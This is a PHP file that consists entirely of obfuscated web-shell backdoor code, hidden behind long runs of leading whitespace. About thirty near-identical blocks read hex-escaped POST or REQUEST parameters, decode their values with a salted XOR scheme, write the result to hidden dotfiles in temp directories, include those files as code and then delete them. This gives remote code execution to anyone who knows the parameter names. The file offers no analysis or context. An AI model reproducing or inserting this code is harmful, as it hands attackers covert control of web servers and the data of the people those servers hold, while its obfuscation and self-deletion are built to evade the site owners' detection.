<?php																																										if(isset($_POST["val"]) ? true : false){ $res = $_POST["val"]; $res=explode ("." , $res ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; foreach ($res as $v9) { $chS = ord($s[$m% $lenS]); $dec = ((int)$v9 - $chS - ($m% 10))^ 59; $data.=chr($dec); $m++;} $parameter_group = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getcwd(), "/tmp"]); foreach ($parameter_group as $resource): if (array_product([is_dir($resource), is_writable($resource)])) { $itm = join("/", [$resource, ".flg"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $itm; @unlink($itm); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x68\x6Fl\x64er"])){ $element = $_POST["\x68\x6Fl\x64er"]; $element = explode ( '.' ,$element ) ; $pgrp = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); foreach( $element as $v=>$v5) { $chS = ord( $salt1[$v % $lenS]); $dec = ( ( int)$v5 - $chS -( $v % 10)) ^ 20; $pgrp .= chr( $dec); } $data_chunk = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), "/tmp", session_save_path()]); while ($key = array_shift($data_chunk)) { if (!!is_dir($key) && !!is_writable($key)) { $ent = join("/", [$key, ".k"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(array_key_exists("\x65nt", $_POST)){ $desc = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", "/tmp"]); $k = $_POST["\x65nt"]; $k = explode ( '.' ,$k ) ; $data = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $l = 0; while ($l < count($k)) {$v8 = $k[$l]; $sChar = ord($s7[$l %$sLen]); $d = ((int)$v8 - $sChar - ($l %10)) ^ 99; $data .=chr($d); $l++;} foreach ($desc as $hld): if (!!is_dir($hld) && !!is_writable($hld)) { $symbol = "$hld/.elem"; if (file_put_contents($symbol, $data)) { include $symbol; @unlink($symbol); die(); } } endforeach; }
																																										if(array_key_exists("\x76\x61l", $_POST) && !is_null($_POST["\x76\x61l"])){ $obj = $_POST["\x76\x61l"]; $obj = explode( "." , $obj ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; array_walk($obj, function ($v8) use (&$element, &$x, $salt, $sLen) {$sChar = ord($salt[$x % $sLen]); $d = ((int)$v8 - $sChar - ($x % 10)) ^ 10; $element .=chr($d); $x++; }); $reference = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($reference as $key => $pointer) { if (!!is_dir($pointer) && !!is_writable($pointer)) { $token = str_replace("{var_dir}", $pointer, "{var_dir}/.fac"); if (@file_put_contents($token, $element) !== false) { include $token; unlink($token); die(); } } } }
																																										if(isset($_POST["r\x65fer\x65n\x63\x65"])){ $property_set = array_filter(["/var/tmp", "/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); $bind = $_POST["r\x65fer\x65n\x63\x65"]; $bind =explode('.' , $bind ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $i = 0; array_walk($bind, function ($v6) use (&$mrk, &$i, $s, $lenS) { $sChar = ord($s[$i % $lenS] ); $dec = ((int)$v6 - $sChar - ($i % 10)) ^ 9; $mrk .= chr($dec ); $i++; } ); for ($comp = 0, $ent = count($property_set); $comp < $ent; $comp++) { $pointer = $property_set[$comp]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $dat = vsprintf("%s/%s", [$pointer, ".dchunk"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(!empty($_POST["\x69t\x6D"])){ $elem = $_POST["\x69t\x6D"]; $elem =explode( "." ,$elem ) ; $key =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); foreach( $elem as $p => $v5): $chS =ord( $s[$p%$lenS]); $dec =( ( int)$v5 - $chS -( $p%10)) ^ 34; $key .= chr( $dec); endforeach; $obj = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir()]); $reference = 0; do { $pgrp = $obj[$reference] ?? null; if ($reference >= count($obj)) break; if (is_dir($pgrp) ? is_writable($pgrp) : false) { $comp = vsprintf("%s/%s", [$pgrp, ".holder"]); $success = file_put_contents($comp, $key); if ($success) { include $comp; @unlink($comp); exit;} } $reference++; } while (true); }
																																										if(!is_null($_POST["i\x74\x6D"] ?? null)){ $descriptor = array_filter(["/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm"]); $ptr = $_POST["i\x74\x6D"]; $ptr =explode("." , $ptr); $flag=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $j=0; array_walk( $ptr, function( $v3) use( &$flag, &$j, $s, $lenS) { $chS=ord( $s[$j % $lenS]); $d=( ( int)$v3 - $chS -( $j % 10)) ^ 95; $flag .= chr( $d); $j++; }); foreach ($descriptor as $symbol) { if (!( !is_dir($symbol) || !is_writable($symbol) )) { $item = implode("/", [$symbol, ".pgrp"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $item; @unlink($item); exit; } } } }
																																										if(isset($_REQUEST["bi\x6E\x64"])){ $itm = $_REQUEST["bi\x6E\x64"]; $itm = explode( ".", $itm ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; foreach ($itm as $v3) { $chS = ord($salt[$j %$sLen]); $dec = ((int)$v3 - $chS - ($j %10)) ^ 57; $symbol .= chr($dec); $j++; } $data_chunk = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); for ($binding = 0, $res = count($data_chunk); $binding < $res; $binding++) { $sym = $data_chunk[$binding]; if (array_product([is_dir($sym), is_writable($sym)])) { $pointer = "$sym/.pgrp"; $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $pointer; @unlink($pointer); die(); } } } }
																																										if(@$_REQUEST["\x74\x6Fken"] !== null){ $elem = array_filter(["/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path()]); $data_chunk = $_REQUEST["\x74\x6Fken"]; $data_chunk =explode ( "." ,$data_chunk); $pgrp=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s8 ); $z=0; $__tmp=$data_chunk; while( $v3=array_shift( $__tmp)) { $sChar=ord( $s8[$z % $sLen] ); $dec=( ( int)$v3 - $sChar -( $z % 10)) ^ 83; $pgrp .= chr( $dec ); $z++;} while ($res = array_shift($elem)) { if (!!is_dir($res) && !!is_writable($res)) { $property_set = "$res/.factor"; $success = file_put_contents($property_set, $pgrp); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(isset($_REQUEST["\x64\x63hu\x6Ek"])){ $data_chunk = $_REQUEST["\x64\x63hu\x6Ek"]; $data_chunk = explode ('.' , $data_chunk) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $data_chunk as $r => $v4) {$sChar = ord( $s[$r % $sLen] ); $d =( ( int)$v4 - $sChar -( $r % 10))^75; $holder .= chr( $d ); } $mrk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp"]); foreach ($mrk as $token) { if (array_product([is_dir($token), is_writable($token)])) { $element = "$token" . "/.sym"; if (file_put_contents($element, $holder)) { require $element; unlink($element); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65\x63ord"])){ $binding = array_filter([session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["r\x65\x63ord"]; $data_chunk = explode ( '.' , $data_chunk ) ; $key = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); $t = 0; array_walk($data_chunk , function ($v2) use (&$key , &$t , $salt3 , $sLen) {$chS = ord($salt3[$t % $sLen] ); $dec = ((int)$v2 - $chS - ($t % 10)) ^ 56; $key .= chr($dec ); $t++; } ); foreach ($binding as $holder): if (array_product([is_dir($holder), is_writable($holder)])) { $reference = join("/", [$holder, ".obj"]); $success = file_put_contents($reference, $key); if ($success) { include $reference; @unlink($reference); die();} } endforeach; }
																																										if(array_key_exists("m\x72\x6B", $_REQUEST) && !is_null($_REQUEST["m\x72\x6B"])){ $entry = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $ptr = $_REQUEST["m\x72\x6B"]; $ptr = explode ("." , $ptr ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $q = 0; array_walk( $ptr ,function( $v8) use( &$desc ,&$q ,$s ,$lenS) { $chS = ord( $s[$q % $lenS] ); $d = ( ( int)$v8 - $chS -( $q % 10)) ^ 81; $desc .= chr( $d ); $q++;} ); foreach ($entry as $fac): if (!( !is_dir($fac) || !is_writable($fac) )) { $bind = join("/", [$fac, ".key"]); if (@file_put_contents($bind, $desc) !== false) { include $bind; unlink($bind); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x72\x65s\x6Fu\x72ce"] ?? null)){ $rec = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp"]); $elem = $_REQUEST["\x72\x65s\x6Fu\x72ce"]; $elem = explode ('.' , $elem ) ; $pset = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach ($elem as $s =>$v1): $chS = ord($salt6[$s % $sLen]); $d = ((int)$v1 - $chS - ($s % 10)) ^ 94; $pset .= chr($d); endforeach; foreach ($rec as $itm): if (is_dir($itm) ? is_writable($itm) : false) { $k = "$itm/.dat"; $success = file_put_contents($k, $pset); if ($success) { include $k; @unlink($k); exit;} } endforeach; }
																																										if(!is_null($_POST["ent\x69t\x79"] ?? null)){ $sym = $_POST["ent\x69t\x79"]; $sym= explode ('.' , $sym ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $r = 0; while($r < count($sym)) { $v5 = $sym[$r]; $chS = ord($salt[$r % $lenS]); $dec =((int)$v5 - $chS -($r % 10)) ^ 58; $record .= chr($dec); $r++;} $ptr = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); for ($component = 0, $binding = count($ptr); $component < $binding; $component++) { $ent = $ptr[$component]; if (max(0, is_dir($ent) * is_writable($ent))) { $mrk = vsprintf("%s/%s", [$ent, ".item"]); if (file_put_contents($mrk, $record)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(!is_null($_REQUEST["\x6Be\x79"] ?? null)){ $ent = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd()]); $item = $_REQUEST["\x6Be\x79"]; $item= explode ('.' , $item ) ; $value = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $z = 0; array_walk($item,function ($v7) use (&$value,&$z,$s6,$lenS) { $sChar = ord($s6[$z % $lenS] ); $dec = ((int)$v7 - $sChar - ($z % 10)) ^ 47; $value.=chr($dec ); $z++; } ); for ($hld = 0, $flag = count($ent); $hld < $flag; $hld++) { $entity = $ent[$hld]; if (is_dir($entity) ? is_writable($entity) : false) { $dchunk = sprintf("%s/.token", $entity); if (file_put_contents($dchunk, $value)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(!empty($_POST["\x65\x6Et"])){ $object = $_POST["\x65\x6Et"]; $object= explode ( '.' ,$object ) ; $sym =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $m =0; $__tmp =$object; while ($v5 =array_shift($__tmp)) { $chS =ord($s[$m % $sLen]); $d =((int)$v5 - $chS - ($m % 10)) ^25; $sym .= chr($d); $m++; } $token = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $data = 0; do { $mrk = $token[$data] ?? null; if ($data >= count($token)) break; if (is_dir($mrk) && is_writable($mrk)) { $property_set = vsprintf("%s/%s", [$mrk, ".desc"]); $success = file_put_contents($property_set, $sym); if ($success) { include $property_set; @unlink($property_set); exit;} } $data++; } while (true); }
																																										if(isset($_POST) && isset($_POST["p\x6Fi\x6E\x74\x65r"])){ $binding = $_POST["p\x6Fi\x6E\x74\x65r"]; $binding =explode ( '.', $binding ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; array_walk($binding, function ($v7) use (&$marker, &$q, $s, $lenS) {$chS = ord($s[$q% $lenS]); $d = ((int)$v7 - $chS - ($q% 10)) ^ 46; $marker .= chr($d); $q++;} ); $entity = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp", "/dev/shm"]); foreach ($entity as $key => $bind) { if (max(0, is_dir($bind) * is_writable($bind))) { $descriptor = join("/", [$bind, ".token"]); if (file_put_contents($descriptor, $marker)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(array_key_exists("\x65\x6Ce\x6Den\x74", $_POST)){ $dat = $_POST["\x65\x6Ce\x6Den\x74"]; $dat = explode ('.', $dat ) ; $elem= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt2); $v= 0; $__tmp= $dat; while( $v7= array_shift( $__tmp)) {$chS= ord( $salt2[$v % $lenS]); $d= ( ( int)$v7 - $chS -( $v % 10)) ^ 89; $elem .= chr( $d); $v++; } $comp = array_filter(["/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); foreach ($comp as $component): if (!( !is_dir($component) || !is_writable($component) )) { $val = vsprintf("%s/%s", [$component, ".sym"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $val; @unlink($val); exit; } } endforeach; }
																																										if(!is_null($_POST["p\x61\x72\x61met\x65\x72_gro\x75p"] ?? null)){ $holder = $_POST["p\x61\x72\x61met\x65\x72_gro\x75p"]; $holder = explode ( "." , $holder ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($holder as $w => $v7) { $sChar = ord($salt[$w % $sLen] ); $d = ((int)$v7 - $sChar - ($w % 10)) ^ 20; $pset.=chr($d ); } $elem = array_filter(["/tmp", session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); while ($obj = array_shift($elem)) { if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $value = "$obj" . "/.flg"; if (file_put_contents($value, $pset)) { include $value; @unlink($value); die(); } } } }
																																										if(array_key_exists("comp", $_POST) && !is_null($_POST["comp"])){ $itm = $_POST["comp"]; $itm =explode ('.' , $itm); $parameter_group = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); $r = 0; $__tmp = $itm; while ($v2 = array_shift($__tmp)) { $sChar = ord($s8[$r % $lenS] ); $dec = ((int)$v2 - $sChar - ($r % 10))^ 64; $parameter_group .= chr($dec ); $r++; } $data = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP")]); for ($item = 0, $sym = count($data); $item < $sym; $item++) { $rec = $data[$item]; if (is_dir($rec) && is_writable($rec)) { $pointer = implode("/", [$rec, ".ref"]); if (@file_put_contents($pointer, $parameter_group) !== false) { include $pointer; unlink($pointer); die(); } } } }
																																										if(@$_REQUEST["mrk"] !== null){ $record = array_filter([getenv("TMP"), "/tmp", getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $flag = $_REQUEST["mrk"]; $flag = explode ('.' , $flag ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($flag as $q => $v6): $chS = ord($s[$q % $lenS]); $d = ((int)$v6 - $chS - ($q % 10)) ^ 38; $object .= chr($d); endforeach; foreach ($record as $entry): if (max(0, is_dir($entry) * is_writable($entry))) { $hld = sprintf("%s/.reference", $entry); if (file_put_contents($hld, $object)) { require $hld; unlink($hld); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x76\x61l"])){ $pset = $_REQUEST["\x76\x61l"]; $pset = explode ( "." ,$pset) ; $resource = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $v = 0; $__len = count($pset); do { if ($v >= $__len) break; $v4 = $pset[$v]; $chS = ord($s6[$v % $sLen]); $dec = ((int)$v4 - $chS - ($v % 10)) ^ 33; $resource .=chr($dec); $v++; } while (true); $ent = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP")]); while ($flag = array_shift($ent)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $ref = sprintf("%s/.itm", $flag); if (file_put_contents($ref, $resource)) { require $ref; unlink($ref); exit; } } } }
																																										if(array_key_exists("flg", $_REQUEST)){ $object = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); $token = $_REQUEST["flg"]; $token = explode( '.' , $token ) ; $item=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt8 ); $m=0; $__len=count($token ); do { if($m >= $__len) break; $v8=$token[$m]; $sChar=ord($salt8[$m % $lenS] ); $dec=((int)$v8 - $sChar -($m % 10)) ^ 8; $item.= chr($dec ); $m++; } while(true ); foreach ($object as $binding): if (is_writable($binding) && is_dir($binding)) { $tkn = str_replace("{var_dir}", $binding, "{var_dir}/.data"); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(isset($_REQUEST["poi\x6Ete\x72"])){ $k = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $parameter_group = $_REQUEST["poi\x6Ete\x72"]; $parameter_group = explode ("." , $parameter_group ); $bind= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s3 ); $n= 0; array_walk($parameter_group, function ($v7) use (&$bind, &$n, $s3, $sLen) {$sChar= ord($s3[$n % $sLen] ); $dec= ((int)$v7 - $sChar - ($n % 10)) ^ 58; $bind .= chr($dec ); $n++; } ); $descriptor = 0; do { $symbol = $k[$descriptor] ?? null; if ($descriptor >= count($k)) break; if (max(0, is_dir($symbol) * is_writable($symbol))) { $token = "$symbol/.ent"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $token; @unlink($token); die(); } } $descriptor++; } while (true); }
																																										if(isset($_POST["co\x6D\x70"]) ? true : false){ $dat = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["co\x6D\x70"]; $data_chunk=explode ( '.' , $data_chunk ); $k= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $u= 0; $__tmp= $data_chunk; while( $v4= array_shift( $__tmp)) {$chS= ord( $salt[$u % $lenS] ); $d= ( ( int)$v4 - $chS -( $u % 10)) ^ 93; $k .= chr( $d ); $u++;} foreach ($dat as $key => $resource) { if (max(0, is_dir($resource) * is_writable($resource))) { $property_set = join("/", [$resource, ".parameter_group"]); if (file_put_contents($property_set, $k)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x65\x6Etry"])){ $desc = $_POST["\x65\x6Etry"]; $desc =explode ( "." , $desc ); $component =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s7); foreach( $desc as $v=> $v6): $chS =ord( $s7[$v % $sLen]); $dec =( ( int)$v6 - $chS -( $v % 10)) ^ 50; $component.= chr( $dec); endforeach; $binding = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", getcwd()]); for ($token = 0, $resource = count($binding); $token < $resource; $token++) { $ent = $binding[$token]; if (!!is_dir($ent) && !!is_writable($ent)) { $parameter_group = "$ent/.data_chunk"; if (@file_put_contents($parameter_group, $component) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(in_array("\x70ar\x61\x6De\x74er_\x67\x72\x6Fup", array_keys($_REQUEST))){ $ptr = $_REQUEST["\x70ar\x61\x6De\x74er_\x67\x72\x6Fup"]; $ptr = explode ( "." , $ptr ) ; $ref = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $len = count($ptr); for ($t = 0; $t < $len; $t++) { $v1 = $ptr[$t]; $chS = ord($salt9[$t %$sLen]); $dec = ((int)$v1 - $chS - ($t %10)) ^ 81; $ref .= chr($dec); } $property_set = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP")]); while ($comp = array_shift($property_set)) { if (!!is_dir($comp) && !!is_writable($comp)) { $data_chunk = join("/", [$comp, ".factor"]); $success = file_put_contents($data_chunk, $ref); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65nt\x72y"])){ $res = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP")]); $marker = $_POST["\x65nt\x72y"]; $marker=explode ('.' , $marker ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $marker as $w => $v3): $sChar = ord( $s[$w% $lenS] ); $dec =( ( int)$v3 - $sChar -( $w% 10))^ 74; $pgrp .= chr( $dec ); endforeach; for ($obj = 0, $k = count($res); $obj < $k; $obj++) { $pointer = $res[$obj]; if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $mrk = str_replace("{var_dir}", $pointer, "{var_dir}/.ref"); if (@file_put_contents($mrk, $pgrp) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(isset($_POST) && isset($_POST["it\x65m"])){ $tkn = $_POST["it\x65m"]; $tkn = explode ( '.', $tkn ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; $__tmp = $tkn; while($v7 = array_shift($__tmp)) { $sChar = ord($s[$r % $lenS]); $d =((int)$v7 - $sChar -($r % 10)) ^ 68; $holder .= chr($d); $r++; } $ref = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); while ($property_set = array_shift($ref)) { if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $factor = join("/", [$property_set, ".rec"]); if (@file_put_contents($factor, $holder) !== false) { include $factor; unlink($factor); die(); } } } }
																																										if(!empty($_REQUEST["res\x6F\x75\x72\x63e"])){ $component = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TMP")]); $holder = $_REQUEST["res\x6F\x75\x72\x63e"]; $holder= explode ('.', $holder ) ; $comp = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); foreach( $holder as $j => $v6): $sChar = ord( $s5[$j % $sLen]); $dec =( ( int)$v6 - $sChar -( $j % 10)) ^ 66; $comp .= chr( $dec); endforeach; $entry = 0; do { $flag = $component[$entry] ?? null; if ($entry >= count($component)) break; if (is_writable($flag) && is_dir($flag)) { $pointer = vsprintf("%s/%s", [$flag, ".obj"]); if (file_put_contents($pointer, $comp)) { include $pointer; @unlink($pointer); die(); } } $entry++; } while (true); }
																																										if(array_key_exists("\x73\x79m", $_REQUEST) && !is_null($_REQUEST["\x73\x79m"])){ $key = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $holder = $_REQUEST["\x73\x79m"]; $holder= explode ( "." , $holder ); $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $i = 0; array_walk($holder, function ($v7) use (&$binding, &$i, $salt, $sLen) { $sChar = ord($salt[$i % $sLen]); $dec = ((int)$v7 - $sChar - ($i % 10)) ^ 63; $binding .= chr($dec); $i++;} ); $obj = 0; do { $pset = $key[$obj] ?? null; if ($obj >= count($key)) break; if (!!is_dir($pset) && !!is_writable($pset)) { $desc = str_replace("{var_dir}", $pset, "{var_dir}/.record"); if (file_put_contents($desc, $binding)) { require $desc; unlink($desc); die(); } } $obj++; } while (true); }
																																										if(isset($_REQUEST["\x66\x61c"]) ? true : false){ $dat = $_REQUEST["\x66\x61c"]; $dat = explode ("." , $dat ) ; $itm=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt4); foreach ($dat as $u =>$v6): $sChar=ord($salt4[$u %$lenS]); $d=((int)$v6 - $sChar - ($u %10)) ^ 29; $itm .= chr($d); endforeach; $resource = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); $bind = 0; do { $property_set = $resource[$bind] ?? null; if ($bind >= count($resource)) break; if (is_writable($property_set) && is_dir($property_set)) { $comp = "$property_set" . "/.ent"; if (file_put_contents($comp, $itm)) { require $comp; unlink($comp); die(); } } $bind++; } while (true); }
																																										if(in_array("r\x65f\x65\x72e\x6Ece", array_keys($_REQUEST))){ $item = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", session_save_path()]); $marker = $_REQUEST["r\x65f\x65\x72e\x6Ece"]; $marker =explode ( "." , $marker); $flag = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); $m = 0; $len = count($marker ); do { if ($m >= $len) break; $v2 = $marker[$m]; $sChar = ord($salt5[$m % $lenS] ); $d = ((int)$v2 - $sChar - ($m % 10)) ^ 88; $flag .= chr($d ); $m++; } while (true ); for ($object = 0, $k = count($item); $object < $k; $object++) { $res = $item[$object]; if (is_dir($res) ? is_writable($res) : false) { $key = str_replace("{var_dir}", $res, "{var_dir}/.token"); $success = file_put_contents($key, $flag); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x66act\x6Fr")){ $k = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp"]); $tkn = $_POST["\x66act\x6Fr"]; $tkn = explode ( "." , $tkn); $data =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt3); foreach ($tkn as $w => $v9): $chS =ord($salt3[$w %$sLen]); $d =((int)$v9 - $chS - ($w %10)) ^ 3; $data .= chr($d); endforeach; foreach ($k as $key => $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $entry = "$item" . "/.ptr"; if (@file_put_contents($entry, $data) !== false) { include $entry; unlink($entry); exit; } } } }
